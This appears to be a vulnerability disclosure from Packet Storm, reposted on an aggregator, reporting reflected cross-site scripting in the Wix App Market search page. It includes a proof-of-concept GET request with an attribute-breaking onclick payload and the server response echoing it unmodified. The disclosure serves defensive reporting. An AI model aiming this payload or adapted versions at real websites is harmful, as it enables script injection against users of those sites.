📄 WIX.com Cross Site Scripting

🗓️ 16 Dec 2025 00:00:00Reported by nu11secur1tyType
packetstorm🔗 packetstorm.news👁 218 Views
WIX.com market app has reflected XSS from a query parameter echoed in a tag attribute.
## Titles: WIX.com / market app Cross-site scripting (reflected)
    ## Author: nu11secur1ty
    ## Date: 8/27/2024
    ## Vendor: https://www.wix.com/
    ## Software: https://www.wix.com/market
    ## Reference: https://portswigger.net/web-security/cross-site-scripting
    
    ## Description:
    The value of the query request parameter is copied into the value of an
    HTML tag attribute which is encapsulated in double quotation marks. The
    payload eq7ab"accesskey="x"onclick="document.location=1"//qkbzd was
    submitted in the query parameter. This input was echoed unmodified in the
    application's response.
    
    STATUS: HIGH- Vulnerability
    
    [+]PoC:
    ```
    GET
    /app-market/search-result?query=eq7ab%22accesskey%3d%22x%22onclick%3d%22document.location%3d1%22%2f%2fqkbzd
    HTTP/1.1
    Host: www.wix.com
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="24", "Google Chrome";v="139"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Windows"
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate, br
    Upgrade-Insecure-Requests: 1
    Content-Length: 0
    ```
    [+]Response:
    ```
    HTTP/2 200 OK
    Content-Type: text/html; charset=utf-8
    Set-Cookie: XSRF-TOKEN=1755591144|Eg7emUWwe-IA; Domain=.wix.com; Path=/;
    Secure; SameSite=Lax
    Set-Cookie: _wixAB3=3477653#1; Max-Age=15724800; Expires=Tue, 17 Feb 2026
    08:12:24 GMT; Path=/app-market/search-result; Domain=.wix.com
    Etag: W/"280f9-gSC7iOcPNDT2CRThSwJyIPL8Re8"
    Pragma: no-cache
    Cache-Control: no-store, no-cache
    X-Wix-Request-Id: 1755591144.079172597310943348307
    X-Wix-Request-Id: 1755591144.079172597310943348307
    Strict-Transport-Security: max-age=31536000
    Server: Pepyaka
    X-Content-Type-Options: nosniff
    Accept-Ranges: bytes
    Date: Tue, 19 Aug 2025 08:12:25 GMT
    X-Served-By: cache-mxp6959-MXP
    X-Cache: MISS
    Vary: Accept-Encoding
    X-Seen-By:
    yvSunuo/8ld62ehjr5B7kA==,GilIRCy+Ky2nI9KZaDKzWLxkNjrXdwdgtu6E0yACibU=,yI4PPEXc3bvXNWfpzSkUarxkNjrXdwdgtu6E0yACibU=,m0j2EEknGIVUW/liY8BLLhltI8UMiPPDOVwaTrPHXCH8v8cBhCntPM7PcrIAnRiP,jdDt270t0fniy2BugWKBrcczmKBTV50ZIhnFmHyHs57I9wpXHBT6h1wfBN9ClwxEB2liM03bnUiF6lTGavdqtA==,TeEjV9lv7/HACQr2VMOeGw2Glp1kLqnecer2BlKK+IU=,b61bb5l8iKStMCYyOHGHzRnQM7J/rJ7uPqCFTHO1XctorBYDGeK3UgGvWP2Td4iX2A0xrElz8K0jvAxA68GNHA==,PD4YJOeir0FhY6Fl90bUjyPr+onDcVcE7HwIMshK4tA=,mvxQ9qSAmY38asKjFCcmG9fqwOC4CaktraAMWrC0uVj1OAazU43d/JllZoi5V6gBMOqF25aPBecVfgGQEnEHcw==
    Via: 1.1 google
    Glb-X-Seen-By: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
    
    <!doctype html>
    <html>
    
    <head>
    
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    <meta http-equiv="content-language" content='en' />
    
    
    <title data-meta-tags-aggr
    ...[SNIP]...
    <meta data-meta-tags-aggregator="true" property="og:title" content="You
    searched for eq7ab"accesskey="x"onclick="document.location=1"//qkbzd | Wix
    App Market" />
    ...[SNIP]...
    ```
    
    ## Reproduce:
    [href](https://www.patreon.com/posts/wix-com-xss-136830597)
    
    ## Demo PoC:
    [href](https://www.patreon.com/posts/wix-com-xss-136830597)
    
    ## Time spent:
    03:27:00
    
    
    -- 
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    0day Exploit DataBase https://0day.today/
    home page: https://www.nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                              nu11secur1ty <http://nu11secur1ty.com/>
16 Dec 2025 00:00Current
6.4Medium risk
Vulners AI Score6.4